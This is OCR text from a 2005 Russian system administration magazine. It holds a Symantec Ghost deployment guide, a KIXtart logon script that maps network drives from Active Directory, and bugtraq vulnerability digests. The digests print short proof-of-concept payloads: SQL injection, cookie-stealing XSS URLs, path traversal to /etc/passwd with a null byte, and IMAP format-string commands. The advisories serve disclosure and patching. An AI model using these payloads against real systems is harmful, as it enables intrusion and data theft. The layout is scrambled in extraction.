дискеты с DOS-клиентом Ghost. Дискеты создают-ся с помощью мастера «Ghost boot Wizard», вари-ант «Network boot disk».

! Создать образ загрузочного раз-дела Ghost, содержащий Ghost-клиента и драйверы сетевых карт. Для создания образа использует-ся тот же самый мастер, вариант «Console Boot Partition». Для до-бавления драйверов нескольких карт можно использовать пункт «Multicard Template».

! При помощи стандартных средств (GhostCast-сервер и дискеты) за-писать полученный образ на один из целевых компьютеров (но не на тот, на котором мы сделали клон) в режиме копирования дис-ка.

! Через PXE загрузить Linux с кор-невой файловой системой на NFS-сервере.

! Скопировать загрузчик и первый раздел диска на NFS-сервер. Сде-

Рисунок 7. Копирование конфигурации компьютеров

Page 20: 034 Системный Администратор 09 2005

18

администрирование

кладке «Clone», укажем, что мы будем разворачивать наш образ на второй раздел первого жестко-го диска (см. рис. 9).

Для того чтобы второй раздел не занял все оставшееся место на жестком диске, нажмем на кнопку Advanced и укажем дополнитель-ный параметр командной строки: -szee. Убедимся, что на закладке «Configuration» установлен пара-метр «default», и нажмем «OK».

Теперь в контекстном меню только что созданного задания вы-берем пункт «Execute Task». Через несколько минут компьютеры загру-зят DOS-версию клиента Ghost и на-чнут передачу образа. Если процесс прошел нормально, то после выпол-нения задания на всех компьютерах группы будет установлена «свежая» операционная система.

В качестве последнего штриха добавим эти компьютеры в домен. Для этого можно либо воспользовать-ся соответствующей функцией Ghost, либо провести подключение вручную. Мы поступим вторым способом, попут-но рассмотрев механизм выполнения команд на компьютерах с Ghost-кли-ентом. Для решения этой задачи вос-пользуемся утилитой netdom.exe, вхо-дящей в состав Windows Support Tools. В консоли создадим задание «Add to domain», с параметрами «Transfer Files» и «Execute Command». На за-

кладке первого параметра укажем, что мы хотим записать файл netdom.exe в incoming-каталог клиента Ghost, для второго параметра укажем, что в ОС мы хотим запустить следующую команду:

с параметром:

После выполнения команды компьютеры перезагрузятся и под-ключатся к домену.

ЗаключениеСправедливости ради нужно отме-тить, что существуют ситуации, в которых не обязательно использо-вать все компоненты продукта. Ес-ли вы занимаетесь предпродаж-ной установкой ОС, то Ghost-кли-ент и консоль нам вряд ли понадо-бится, а вот sysprep и компакт-диск с DOS-версией клиента Ghost будут как нельзя кстати. При помощи про-стого скрипта можно заранее запи-сать ОС на десяток жестких дисков, а затем просто при необходимости вставлять их в собираемые компью-теры. Похожий метод будет полезен и при установке нескольких машин в небольших фирмах. Ghost-кли-

ент DOS с поддержкой сетевых карт позволит быстро переустановить ком-пьютер, не прибегая к помощи отвер-тки. Если же компьютеров у вас очень много и дружбу с Ghost вы планируе-те всерьез и надолго – устанавливай-те консоль, не пожалеете!

Литература, ссылки:1. Symantec Ghost Implementation

Guide.2. h t t p : / / s e a . s y m a n t e c . c o m / j p /

promotions.cfm?productid=9&promocode=website.

Symantec Ghostи VMWare WorkstationПрочитав заголовок, вы наверняка подума-ете: «С Symantec Ghost все понятно, но при чем тут WMWare Workstation? Ведь это со-вершенно разные продукты». На самом де-ле, WMWare Workstation хорошо дополня-ет систему с Ghost. Представьте себе, что вам необходимо поддерживать несколь-ко различных клонов: бухгалтерия, отдел программирования, студия дизайна, отдел верстки и т. д. При этом время от времени приходится обновлять некоторые програм-мы. С использованием стандартной схемы с Ghost процесс обновления, скорее всего, будет проходить так: распаковка образа на тестовый компьютер, установка программы, создание нового образа. А что если после обновления вы нашли ошибку? Делать ре-зервные копии образов? При каждом об-новлении? Для каждой ветки образа? А вот теперь самое время вспомнить о VMWare Рисунок 10. Дерево снимков VMWare Workstation

Workstation 5. Одной из возможностей дан-ной программы является созданием сним-ков (Snapshot) и кло-нов. Если различия между используемы-ми версиями не очень велики, то различные образы можно под-держивать в дереве снимков (см. рис. 10). При этом для установ-ки новой программы не нужно загружать образ на тестовый компьютер, достаточ-но просто перейти к нужному снимку, ус-тановить нужную про-грамму и скопиро-вать образ с помощью Ghost-клиента. Если в процессе установки

вы случайно совершили ошибку, – не рас-страивайтесь, ведь у вас есть Undo!

Рисунок 9. Настройки клонирования заданияDeploy Image

"c:\program Þles\symantec\ghost\ ↵ incoming\netdom.exe"

Join %computername% /domain: ↵ имя _ домена /userD: ↵ Administrator@имя _ домена ↵ /password:пароль /reboot

Page 21: 034 Системный Администратор 09 2005

19№9, сентябрь 2005

bugtraq

Переполнение буфера в DameWareMini Remote Control ServerПрограмма: DameWare Mini Remote Control Server 4.9.0 и более ранние версии.Опасность: Критическая.Описание: Переполнение буфера обнаружено в процеду-ре аутентификации при обработке слишком длинного име-ни пользователя (порт 6129). Удаленный пользователь мо-жет скомпрометировать удаленную систему.URL производителя: www.dameware.com.Решение: Установите последнюю версию (4.9.2.4) с сай-та производителя.

Переполнение буфера в Cisco IOS Authentication Proxy for FTP/TelnetПрограмма: Cisco IOS 12.х.Опасность: Критическая.Описание: Переполнение буфера существует в Authentication Proxy FTP/Telnet при обработке данных аутентификации. Удачная эксплуатация уязвимости вызывает перезагруз-ку устройства и может позволить удаленное выполнение кода.URL производителя: www.cisco.com.Решение: В настоящее время способов устранения уязви-мости не существует.

Переполнение буферав URL-обработчике в Mozilla FirefoxПрограмма: Netscape Netscape 8.0.3 .3, Netscape Netscape 7.2, Mozilla Firefox 1.5 Beta1, Mozilla Firefox 1.0.6, Mozilla Browser 1.7.11.Опасность: Критическая.Описание: Переполнение буфера в Mozilla/Netscape/Firefox позволяет удаленному пользователю вызвать отказ в об-служивании или выполнить произвольный код на системе пользователя, просматривающего специально обработан-ную веб-страницу. Пример:

URL производителя: http://www.mozilla.org.Решение: Установите патч с сайта производителя – Mozilla Patch 307259.xpi.

<A HREF=https:--------------------------------------------- >

Переполнение буфера в VERITAS Storage ExecПрограмма: VERITAS StorageCentral 5.2; VERITAS Storage Exec 5.3.Опасность: Критическая.Описание: Уязвимость существует в нескольких DCOM-компонентах при обработке входных данных. Удаленный пользователь может создать специально сформирован-ный HTML-код, который вызовет соответствующий ActiveX-объект со специально сформированными значениями и вы-зовет переполнение буфера. Удачная эксплуатация уяз-вимости позволит злоумышленнику вызвать отказ в об-служивании или выполнить произвольный код на целе-вой системе.URL производителя: www.veritas.com.Решение: Установите исправление с сайта производите-ля.

Составил Александр Антипов

Уязвимость форматной строки в GNU Mailutils imap4dПрограмма: GNU Mailutils 0.6.Опасность: Высокая.Описание: Уязвимость форматной строки существует при обработке команд IMAP SEARCH в файле search.c. Удален-ный авторизованный пользователь может послать специ-ально сформированную SEARCH-команду и выполнить про-извольный код на целевой системе. Пример:

URL производителя: www.gnu.org/software/mailutils/mailutils.html.Решение: Установите исправление с сайта производите-ля.

SEARCH TOPIC %08x.%08x.%08x.%08xSEARCH TOPIC %s%s%s

Множественные уязвимости в phpMyFAQПрограмма: phpMyFAQ 1.5.1.Опасность: Высокая.Описание: 1. SQL-инъекция обнаружена в сценарии /admin/password.php из-за недостаточной обработки входных дан-ных. При выключенной опции «PHP magic quotes» удален-ный пользователь может выполнить произвольные SQL-команды на системе. Пример формы восстановления па-роля:

2. Удаленный пользователь может произвести XSS-на-падение и получить доступ к потенциально важным дан-ным других пользователей. Пример:

3. Удаленный пользователь может выполнить произ-вольный PHP-сценарий на системе с помощью символов обхода каталога. Пример:

4. Удаленный пользователь может получить доступ к лог-файлу. Пример:

5. Удаленный пользователь может получить данные об установочной директории приложения на сервере. При-мер:

URL производителя: www.phpmyfaq.de.Решение: Установите последнюю версию (1.5.2) с сайта производителя.

user: ' or isnull(1/0) /*mail: [your _ email]

http://[target]/[path]/phpmyfaq/admin/footer.php?PMF _ CONF[version]=<script>alert(document.cookie) ↵ </script>http://[target]/[path]/phpmyfaq/admin/header.php?PMF _ LANG[metaLanguage]="><script>alert(document.cookie) ↵ </script>

http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname]http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../ ../../../../etc/passwd%00

http://[target]/[path]/phpmyfaq/data/tracking[date]

http://[target]/[path]/phpmyfaq/index.php?LANGCODE= ↵ [a _ non _ existent _ Þle]

Page 22: 034 Системный Администратор 09 2005

20

администрирование

Сегодня почти на любом предприятии есть компьюте-ры, объединенные в сеть. Каждому сотруднику, име-ющему на своем рабочем месте компьютер, должен

быть предоставлен доступ к сетевым ресурсам. С ростом размера предприятия происходит рост сети. У системно-го администратора и специалистов системной поддержки возрастают временные затраты на ее администрирова-ние. В том числе на опубликование новых сетевых ресур-сов, при переходе пользователя с одного рабочего места на другое; возникают проблемы с ограничением количес-тва дисков (их всего может быть 27, включая сетевые, ло-кальные, съемные диски). Затраты на администрирование можно сократить, создав сценарий регистрации пользова-телей в сети или, как говорят, сценарий загрузки, который на основе членства учетной записи пользователя в соот-

ветствующих группах безопасности будет подключать не-обходимые сетевые ресурсы в автоматическом режиме. При этом на одну и ту же букву можно подключить разные ресурсы для разных пользователей при условии непере-сечения членства пользователя в соответствующих груп-пах безопасности. В противном случае, некоторые ресур-сы будут недоступны пользователям. Приступим к созда-нию такого сценария.

Выбор языка программированияДля создания сценариев регистрации пользователей сущес-твует множество языков, однако остановим свой выбор на KIXTart. Этот язык является стандартным языком програм-мирования сценариев компании Microsoft. Его дистрибутив можно найти в Microsoft Resource Kit или бесплатно загру-

ПОДКЛЮЧАЕМ СЕТЕВЫЕ РЕСУРСЫ В АВТОМАТИЧЕСКОМ РЕЖИМЕ

В настоящее время сети получили огромное распространение: теперь они не только на работе,

но и дома. Статья посвящена созданию скрипта, с помощью которого осуществляется

интеллектуальное управление сетевыми дисками, смена их описаний в папке «Мой компьютер».

ИВАН КОРОБКО

Page 23: 034 Системный Администратор 09 2005

21№9, сентябрь 2005

администрирование

зить последнюю версию из сети Интернет (http://kixtart.org). В настоящее время используется KIXTart версии 4.50.

Замечание: сценарии, созданные вами ранее на VBScript, Jscript могут быть легко переписаны под KIXtart. Все приме-ры в этой статье будут приведены на языке KIXTart.

Источник информации – файл или база данных?Чтобы успешно подключить сетевой ресурс, пользователю необходимо знать имя сетевого диска, с которым будет ас-социироваться ресурс, и UNC-путь сетевого подключаемого ресурса. Желательно иметь его описание, чтобы скоррек-тировать название диска в папке «Мой компьютер». Встает закономерный вопрос – где же лучше всего хранить эту ин-формацию? Можно в текстовом файле, лежащем в ката-логе Netlogon, или в каком-нибудь хранилище, например, в Active Directory (далее AD). Мною использовались оба ва-рианта, и в итоге выбор пал на AD. Было достаточно много причин переместить данные из текстового файла в AD, на-пример, удобство в обслуживании, уменьшение програм-много кода и т. д.

Принцип работы сценарияДля хранения информации в AD о подключаемом ресурсе был использован стандартный объект SharedFolder, кото-рый включал в себя информацию о букве, на которую под-ключается сетевой ресурс; UNC-путь к сетевому ресурсу; описание сетевого ресурса, которое фигурирует в папке «Мой Компьютер»; имя группы безопасности, членам ко-торой будет подключен ресурс.

Опишем механизм подключения одного из сетевых ре-сурсов, на примере общей папки подразделения «Otdel1». Пусть папка имеет следующий сетевой путь – «\\Esmiralda\Work$\Otdel1», подключается к диску «К» и имеет описание «Служебные файлы» (см. рис. 1). В AD в любой OU, напри-мер «Shares», создайте объект «Share Folder» (см. рис. 2). В любой другой OU создайте группы безопасности, имена которых совпадают с URL сетевого ресурса после послед-ней «точки». В приведенном примере группа, соответству-ющая подключаемому диску, должна называться «Otdel1». Членам этой группы будет подключен сетевой ресурс при условии, что она будет добавлена во вкладку безопаснос-

ти папки «Otdel1» с соответствующими правами на доступ к этой папке. Если необходимо сделать несколько различ-ных уровней доступа, в названии группы можно использо-вать префикс.

Таким образом, каждому подключаемому скриптом се-тевому ресурсу соответствуют два объекта AD: опублико-ванная сетевая папка и соответствующая ей группа безо-пасности.

Замечание: в том случае, если ресурс должен быть до-ступен всем пользователям сети, то необходимо в соответс-твующую ресурсу группу добавить группу «domain users» с соответствующими правами.

Сценарий подключения сетевых дисковСценарий можно условно разбить на несколько логичес-ких частей:! определения списка групп, в которые входит текущий

пользователь;! подключение к АD и чтение значений соответствующих

полей;! отключение всех обрабатываемых скриптом сетевых

дисков;! подключение необходимых сетевых дисков;! корректировка описания сетевых дисков в папке «Мой

компьютер».

Определение членства в соответствующих группах безопасностиОпределение членства в соответствующих группах безо-пасности осуществляется с помощью встроенной функ-ции EnumGroup():

Список групп, возвращаемый этой функцией (перемен-ная $Group), имеет следующий шаблон: DOMAIN\GROUP. Поскольку в AD группы хранятся без префикса (в данном случае префиксов является короткое имя домена), то полу-ченный список групп необходимо преобразовать. Результат рекомендуется записать в ту же переменную, т.е. GROUP:

Рисунок 1. Пример изменения описания сетевого дискав папке «Мой Компьютер»

Рисунок 2. Свойства объекта Shared Folder в Active Directory

$i=0 Do $Group = EnumGroup($i) $i=$i+1Until Len($Group) = 0

Page 24: 034 Системный Администратор 09 2005

22

администрирование

Подключение к АD и чтение значений соответствующих полейПодключение к АD реализовано с помощью ADODB-со-единения:

Поиск необходимых объектов осуществляется с по-мощью SQL-запроса. В качестве фильтра указывается ObjectClass=’volume’:

где $domain – имя текущего домена, который определяет-ся чтением глобального каталога RootDSE. Для его чте-ния достаточно прав обычного пользователя. Переменная $domain имеет вид «DC=domain,DC=com»:

Теперь необходимо правильно составить SQL-запрос. Для этого понадобятся следующие теоретические знания, а именно: как называются поля данного объекта и какому полю соответствует тот или иной тип данных (строка или массив). Рассмотрим подробнее объект «Shared Folder». Каждое поле любого объекта AD может быть либо строкой, либо массивом. Соответственно, механизмы чтения полей, имеющих разный тип данных, также отличаются.

Чтение поля, соответствующего типу данных «строка», осуществляется следующим образом:

Если тип данных массив:

В скрипте используются поля, описания и тип данных, которые приведены в таблице 1 (см. рис. 2).

Чтение полей всех опубликованных сетевых ресурсов осуществляется с помощью цикла Do…Until:

Как видно из приведенного примера, навигация по объ-ектам, отобранным в результате SQL-запроса, осуществля-ется с помощью функций MoveFirst и MoveNext. Признаком конца списка является EOF.

Итак, чтение полей осуществляется следующим обра-зом:

Отключение сетевых дисковОтключение всех обрабатываемых скриптом сетевых дис-ков осуществляется с помощью команды USE:

где переменная $ds_s содержит значение поля, description – буква на которую монтируется диск. Благодаря такому меха-низму, скрипт управляет только теми сетевыми дисками, ко-торые используются системным администратором в AD.

Подключение необходимых сетевых дисковПодключение дисков осуществляется по алгоритму:

Сначала определяется необходимая для подключения сетевого диска информация, а именно буква, на которую монтируется диск (поле description); UNC-путь ресурса (по-ле UNCName); группа, членам которой будет подключен ре-сурс (поле cn).

У читателя скорее всего возникнет закономерный воп-рос: зачем использовать поле cn, когда имя группы фигу-рирует в UNC-путь ресурса? Чтение поля CN жизненно не-обходимо. Дело в том, что сетевой ресурс может быть двух видов: общий и индивидуальный. Приведем два приме-ра. В первом случае осуществляется подключение общей

$Value=$St.Fields("Field _ Name").Value

$Val _ Array=$St.Fields("Field _ Name").ValueFor Each $Val _ Element in $Val _ Array$Value=$Value+$Val _ ElementNext

Таблица 1. Описание используемых полей объекта Shared Folder

$st.MoveÞrstDo � $st.MoveNextUntil $st.EOF

$st.MoveÞrstDo $cn=$St.Fields("cn").Value$uncname=$St.Fields("uncname").Value$ds _ s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds _ s=$ds _ s + $ds Next$keyw _ s="" $kss=$St.Fields("keywords").Value for each $ks in $kss $keyw _ s=$keyw _ s+cstr($ks) Next�$st.MoveNextUntil $st.EOF

$st.MoveÞrstDo $ds _ s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds _ s=$ds _ s + $ds Next

use $ds _ s+":" /delete /persistent$St.MoveNextUntil $St.EOF

Group=Right($Group, Len($Group)-InstrRev($Group,"\")

$strADSQuery = "SELECT keywords, name, description, ↵ cn, uncname FROM '" +$domain _ +"' ↵ WHERE objectClass='volume'"$objConnection = CreateObject("ADODB.Connection")$objCommand = CreateObject("ADODB.Command")$objConnection.CommandTimeout = 120$objConnection.Provider = "ADsDSOObject"

$objConnection.Open ("Active Directory Provider")$objCommand.ActiveConnection = $objConnection$objCommand.CommandText = $strADSQuery

$st = $objCommand.Execute

"SELECT uname, keywords, description, cn FROM ↵ '" +$domain+"' WHERE objectClass='volume'"

$rootDSE _ = GetObject("LDAP://RootDSE")$domain = "LDAP://" + $rootDSE _ .Get("defaultNamingContext")

Page 25: 034 Системный Администратор 09 2005

23№9, сентябрь 2005

администрирование

папки обмена данными, назовем ее «Exchange». Исходя из этого папка, к которой предоставлен доступ, называет-ся «Exchange», соответствующая ей группа безопасности – «Exchange» и поскольку в эту группу входят все пользовате-ли, то членом этой группы является группа «Domain Users». Во втором случае, нам необходимо подключить каждому пользователю домашний каталог. Для этого необходимо со-здать папку, например, «HomeDirs» и создать в ней подката-логи, соответствующие логинам пользователей. Ситуация изменилась – сетевой путь к папке использовать нельзя, однако есть поле CN – имя ресурса, где можно записать всю необходимую информацию: имя пользователя и соот-ветствующую группу безопасности (см. рис. 2).

Итак, после определения трех необходимых полей уз-нать, входит ли пользователь в соответствующую ресурсу группу безопасности и при положительном исходе провер-ки приступить к подключению ресурса по одному из двух алгоритмов. Выбор алгоритма зависит от наличия логина в считанном значении CN.

Подключение диска осуществляется с помощью ко-манды use:

Корректировка описаний дисков в папке «Мой компьютер»Механизм переименования сетевых дисков в папке «Мой компьютер» лучше всего запускать после завершения про-цесса подключения самих сетевых дисков. У читателя мо-жет возникнуть закономерный вопрос: «Зачем это вооб-ще надо?». Существует несколько причин. Приведем не-которые из них: представьте, что у вас длинный сетевой

путь – буквы диска не видно. Согласитесь, что это неудоб-но. Во вторых, в некоторых ситуациях пользователь не дол-жен знать, где находится ресурс. В третьих, пусть пользо-ватель читает не UNC-пути к дискам, а нормальные их на-звания: «Файлы моего подразделения» или «Мои проекты». Ему сразу становится ясно, для чего предназначен диск. По-верьте, не все пользователи соответствуют термину «опыт-ный пользователь». Это связано с тем, что на подключение диска требуется время, которое зависит от местоположения рабочей станции, загруженности сервера и других факто-ров. Точно его рассчитать не представляется возможным, поэтому для ускорения работы скрипта лучше разделить блоки подключения дисков и смены описания с помощью функции-задержки. Действие функции основано на вы-числении промежутка времени с помощью нового макро-са @Ticks, который возвращает количество миллисекунд с момента загрузки компьютера, определяется разность вре-мени – при достижении указанного интервала во времени, задержки, осуществляется выход из цикла:

Механизм смены описания в Windows 2000 и Windows XP разный. Характеристики всех типов дисков (сетевых, ло-кальных и съемных) в Windows 2000 хранятся в ветви ре-естра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints в Windows 2000, для Windows XP – в HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2.

Рассмотрим каждый механизм подключения сетевых дисков отдельно. Начнем с Windows XP, т.к. там он наибо-лее понятен и прост.

Переименование описаний сетевых дисков для Windows XPТочки монтирования сетевых дисков организованы по следующему принципу: в подпапке HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 для сетевых дисков создаются подразделы, имена которых организованы по принципу: «## имя серве-ра # имя папки, к которой предоставлен доступ # подпапка1 #.... # подпапкаX». В каждой из этих подпапок присутствуют 3 обязательных параметра, четвертый – _LabelFromReg так-же должен быть создан (см. рис. 3). Для смены имени сете-

; элементами массива $usergroup _ name[] являются группы,; членами которых является текущий пользователь

for $t=0 to ubound($usergroup _ name)

if instr($usergroup _ name[$t],$group _ b)<>0

; критерием персонализации является членство; в перечисленных группах PersonalGroup1�3

if instr(ucase($group _ b),ucase("PersonalGroup1"))<>0 ↵ or instr(ucase($group _ b),ucase("PersonalGroup2"))<>0 ↵ or instr(ucase($group _ b),ucase("PersonalGroup3"))<>0 if instr($cn,@userid)<>0use $ds _ s+":" $uncname? " !!!!" + $ds _ s+":" $uncname if @error=5 ; ошибка доступа ; к ресурсу $error _ code="1" $error _ message=$error _ message+ ↵ "Не удалось подключить диск " ↵ +$ds _ s+" к ресурсу "+ ↵ $cn+chr(13)

EndIf endifelseuse $ds _ s+":" $uncname? " !!!!" + $ds _ s+":" $uncname if @error=5 ; ошибка доступа ; к ресурсу $error _ code="1" $error _ message=$error _ message+ ↵ "Не удалось подключить диск " ↵ +$ds _ s+" к ресурсу "+ ↵ $cn+chr(13)

EndIfendifendifnext

$delay _ size=3$Q = @Ticks + $delay _ size*1000 ; x � количество секунд ; задержкиDoUntil @Ticks >= $Q

Рисунок 3. Фрагмент реестра, в котором описываются точкимонтирования сетевых дисков (Windows XP)

Page 26: 034 Системный Администратор 09 2005

24

администрирование

вого диска в папке «Мой Компьютер» необходимо изменить значение строковой переменной _LabelFromReg.

Для определения переменной $key_path необходимо вычислить названия папок, UNC-путь: необходимо заме-нить символ «\» на «#»:

Переименование описаний сетевых дисков для Windows 2000Логика подключения сетевых дисков Windows 2000 и XP сильно отличаются. В ветви реестра «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints» созданы подразделы (см. рис. 4), имена ко-торых совпадают с буквой подключаемого сетевого дис-ка. Внутри каждого из них существуют еще подразде-лы. Среди них обязательными являются Autorun, _DIL, _LabelFromDesktopINI. Для изменения описания диска в папке «Мой Компьютер» в каждой из них необходимо создать два раздела, если они еще не существуют: _GVI и _LabelFromReg. В каждом из них при внесении изменений необходимо менять значение параметра Version, имеющего тип данных REG_DWORD. В подпапке _LabelFromReg допол-нительно необходимо создать ключ Cache, в котором в за-шифрованном виде находится описание подключаемого се-тевого диска. Тип данных параметра Cache – REG_BINARY. Опишем систему шифрования данного параметра на при-мере фразы «Служебные файлы», причем последняя бук-ва «е» в первом слове пусть будет английская. Нам нужен пример любой английской буквы. Надо рассмотреть алго-ритм обработки латинских и русских символов.

Рассмотрим преобразование первой буквы выражения – русской заглавной буквы «С». Процедура чтения кода сим-вола осуществляется с помощью функции ASC. Букве «С» соответствует номер 209 в таблице ASCII (см. рис. 5). За-тем необходимо перевести полученное значение в шест-надцатеричное с помощью DecToHex, параметром кото-рой является число – ASCII-код символа. Символу с ASCII с номером 209 соответствует шестнадцатеричное число D1. Теперь самое интересное: полученное значение раз-бивают на два символа.

Буквенное значение первого символа преобразуют в цифру в соответствии с таблицей 2, а для идентификации языка добавляют 2-й байт. Первым байтом является два символа – НЕХ-код буквы.

Таким образом, получаем, что первому символу соот-ветствует код «21» – это первый байт. Второй байт при-нимает значение в зависимости от языка: 04 – русский язык и 00 – английский. Он определяется по коду симво-ла: если ASCII-код символа больше 128, то буква русская (см. рис. 5), в противном случае – английская. Итак, вто-рой байт символа равен «04», а сам символ – «21 04». Для наглядности привожу таблицу преобразования всего выра-жения (см. таблицу 3).

Рисунок 4. Фрагмент реестра, в котором описываются точкимонтирования сетевых дисков (Windows 2000)

Таблица 2. Преобразование первого символа HEX-кода буквы

Рисунок 5. Кодовая таблица Windows (CP-1251)

WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ " _ LabelFromReg",cstr($keyw _ s),"REG _ SZ")

$st.MoveÞrstDo $uncname=$St.Fields(«uncname»).Value�$keyw _ path="HKEY _ CURRENT _ USER\Software\Microsoft\ ↵ Windows\CurrentVersion\Explorer\MountPoints2"$uncname=Right($uncname,Len($uncname)-2)$keyw _ array=split($uncname,»\»)$temp1="#"For Each $ugu in $keyw _ array$temp1=$temp1+"#"+$uguNext WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ " _ LabelFromReg",cstr($keyw _ s),"REG _ SZ")

$st.MoveNextUntil $st.EOF

Кодовая таблица Windows (CP-1251)Таблицы кодов знаков ASCII содержат десятичные и шестнадца-теричные значения расширенного набора знаков ASCII (American Standards Committee for Information Interchange – американский ко-митет стандартов по обмену информацией). Расширенный набор знаков включает набор знаков ASCII и 128 дополнительных зна-ков для рисования графики и линий, которые часто упоминаются как «набор знаков IBM».

Отображаемые в Windows знаки с кодами больше 127 зави-сят от выбранной гарнитуры шрифта.

Таблица, представленная на рис. 5, показывает набор знаков по умолчанию для текстового приложения.

Page 27: 034 Системный Администратор 09 2005

25№9, сентябрь 2005

администрирование

Настало время осветить этот вопрос с точки зрения программирования. Итак, мы рассмотрели преобразова-ние только одного символа, однако выражение состоит из множества символов, которые необходимо последователь-но преобразовать:

В приведенном примере переход от символа к символу осуществляется с помощью цикла For…Next и комбинации функций Left и Right. В конечном счете переменная $symbol является шестнадцатеричным числом (HEX).

Теперь необходимо отдельно получить первый и вто-рой символы каждого из HEX-числа и с первым символом в случае, если его код ASCII больше 128, выполнить преоб-разование (см. таблицу 3). Первый символ и второй сим-вол определяются следующим образом:

Приступим к реализации алгоритма преобразования первого символа шестнадцатеричного числа. В нем це-лесообразно использовать систему флагов и инструкцию select…case.

Приведем пример преобразования первой буквы вы-ражения – «С». Как было определено ранее, этому сим-волу соответствует шестнадцатеричное значение D1, ис-ходя из таблицы 2, D должно преобразоваться в 2, а са-мо число в 21:

В данном случае используется только инструкция select…case. Флаговая система используется для опреде-ления алгоритма преобразования, в зависимости от HEX-кода символа:

Определение 2-го байта символа осуществляется по ASCII-коду символа:

Поскольку строка описания может иметь только 32 сим-вола и обновляется исключительно записываемая часть, то во избежание оставления «хвостов» необходимо все ос-тальные символы обнулить:

И, наконец, последний штрих – запись соответствую-щих значений в реестр:

В приведенном примере осуществляется наращивание версии в разделах _LabelFromReg и _GVI.

Теперь осталось научить скрипт определять на какой операционной системе он выполняется и с описанием под-ключения сетевых дисков будет покончено.

Тип определенной системы в KIXTart определяется с по-мощью макроса @PRODUCTTYPE.

Таким образом, если в возвращаемом макросом зна-чении присутствует комбинация символов 2000, то выпол-

Таблица 3. Карта преобразования фразы «Служебные файлы»

$keyw _ s="Служебные файлы"For $c=1 to Len($keyw _ s) $symbol= cstr(dectohex(Asc(Right(Left($keyw _ s,$c),1)))Next

$string=ucase(left(cstr(dectohex(Asc(Right ↵ (Left($keyw _ s,$c),1)))),1))$string2=ucase(right(cstr(dectohex(Asc(Right ↵ (Left($keyw _ s,$c),1)))),1))

Select �Case instr(ucase($string),UCase("d"))<>0 $t=$t+cstr("2")+$string2�End Select

If $ßag _ S=0

Select Case instr(ucase($string),UCase("с"))<>0 $t=$t+cstr("1")+$string2$ßag _ S=1� EndSelect If $ßag _ S=0 $t=$t+cstr(dectohex(Asc(Right(Left ↵ ($keyw _ s,$c),1)))) endif

If Asc(Right(Left($keyw _ s,$c),1))>128$t=$t+"04"Else$t=$t+"00"Endif

For $r=1 to 32-len($keyw _ s)$t=$t+cstr("00")Next

WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵ "Cache", $t, "REG _ BINARY")$r _ w1=ReadValue($keyw _ path+"\"+$ds _ s+ ↵ "\ _ LabelFromReg","version")WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵ "Version", $r _ w1+1, "REG _ DWORD") $r _ w2=ReadValue($keyw _ path+"\"+$ds _ s+ ↵ "\ _ GVI","version")WriteValue($keyw _ path+"\"+$ds _ s+"\ _ GVI", "Version", ↵ $r _ w2+1, "REG _ DWORD")

Таблица 4. Список возвращаемых значений макросом @ProductType

Page 28: 034 Системный Администратор 09 2005

26

администрирование

няется сценарий для Windows 2000, и для Windows XP, со-ответственно, XP:

Полную версию сценария смотрите на сайте www.samag.ru в разделе «Исходный код».

Внедрение скрипта в эксплуатациюСкрипт выполняется каждый раз при регистрации поль-зователя в сети, если он указан в разделе Profile свойств пользователя (см. рис. 6) службы Active Directory: Users and Computers.

В папке Netlogon должны находиться файлы:! KIX32.EXE! SCRIPT.KIX! START.BAT

Файл Start.bat имеет следующий листинг:

На время выполнения скрипта необходимо скрыть CMD-панель, в которой выполняется скрипт и приостановить за-грузку рабочего стола до окончания всего скрипта. Этого результата добиваются с помощью групповой политики, распространяющейся на домен («Default Domain Controllers Policy»). В разделе групповой политики «User Configuration» необходимо, соответственно, включить «Run legacy logon script synhronously» (запускать сценарий загрузки синхрон-но) и «Run legasy script hidden» (запускать сценарий скры-то). Для этого необходимо проделать следующее:

! Зарегистрироваться на сервере с помощью учетной за-писи, имеющей административные права.

! Загрузить в Active Directory Users and Computers («Start → Programs → Administrative Tools») и войти в свойства кон-троллера домена.

! Перейти во вкладку «Group Policy» и загрузить «Default Dоmain Policy» (см. рис. 7).

! В загруженной групповой политике (Default Domain Policy) необходимо в «User Configuration» (настройках пользователя) войти в «Administrative Templates» (адми-нистартивные настройки). Там выбрать раздел «System» (система), вкладку «logon/logoff» (войти/выйти) и вклю-чить раннее оговоренные политики (см. рис. 8).

ЗаключениеТаким образом созданный сценарий автоматически подклю-чает и отключает сетевые ресурсы. Управляет только теми буквами дисков, которые присутствуют в поле description опубликованных сетевых ресурсов. С помощью скрипта мож-но реализовать множественное подключение сетевых ресур-сов на одну букву при условии, что членство пользователей в соответствующих группах не пересекается.

start /wait kix32.exe script.kix

Рисунок 6. Диалоговое окно свойства пользователей в AD

Рисунок 7. Свойства домена в AD

Рисунок 8. Доменная политика безопасности

If instr(ucase(@producttype), ucase("2000"))<>0 ���; сценарий для Windows 2000Else If instr(ucase(@producttype), ucase("xp"))<>0 ���; сценарий для Windows XPEndIf EndIf

Page 29: 034 Системный Администратор 09 2005

27№9, сентябрь 2005

bugtraq

Уязвимость форматной строки в OpenTTDПрограмма: OpenTTD 0.4.0.1.Опасность: Критическая.Описание: Уязвимость обнаружена в файлах network.c, os2.c, strgen/strgen.c, texteff.c, ttd.c и win32.c из-за недоста-точной обработки входных данных перед вызовом функции vsprintf(). Удаленный пользователь может послать прило-жению специально сформированный запрос и вызвать от-каз в обслуживании или выполнить произвольный код на целевой системе.URL производителя: www.openttd.com.Решение: В настоящее время способов устранения уязви-мости не существует.

